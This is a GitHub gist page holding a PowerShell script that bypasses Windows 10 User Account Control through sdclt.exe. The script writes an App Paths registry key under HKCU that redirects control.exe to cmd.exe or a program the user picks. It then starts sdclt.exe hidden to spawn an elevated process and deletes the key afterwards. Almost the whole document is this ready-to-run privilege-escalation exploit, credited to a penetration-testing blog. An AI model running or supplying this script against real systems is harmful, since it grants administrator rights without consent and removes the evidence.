Skip to content

Instantly share code, notes, and snippets.

@wikijm
Forked from netbiosX/Sdclt.ps1
Created June 26, 2017 05:59
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save wikijm/532e260d60d74b240d09ff8d3121808a to your computer and use it in GitHub Desktop.
Save wikijm/532e260d60d74b240d09ff8d3121808a to your computer and use it in GitHub Desktop.
Bypass UAC via sdclt in Windows 10 systems
<#
.SYNOPSIS
This script can bypass User Access Control (UAC) via sdclt.exe for Windows 10.
Author: @netbiosX
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
 
It creates a registry key in: "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" to perform UAC bypass
and starts an elevated command prompt.
 
.NOTES
Function : SdcltUACBypass
File Name : SdcltUACBypass.ps1
Website : pentestlab.blog
 
.LINKS
https://pentestlab.blog/2017/06/09/uac-bypass-sdclt/
https://gist.github.com/netbiosX/54a305a05b979e13d5cdffeba5436bcc
 
.EXAMPLE
 
Open Command Prompt (it's default):
SdcltUACBypass
 
Open specific application:
SdcltUACBypass -program "cmd.exe"
#>
function SdcltUACBypass(){
Param (
[String]$program = "C:\Windows\System32\cmd.exe" #default
)
 
#Create Registry Structure
New-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Force
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Name "(default)" -Value $program -Force
 
#Start sdclt.exe
Start-Process "C:\Windows\System32\sdclt.exe" -WindowStyle Hidden
 
#Cleanup
Start-Sleep 3
Remove-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Recurse -Force
 
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment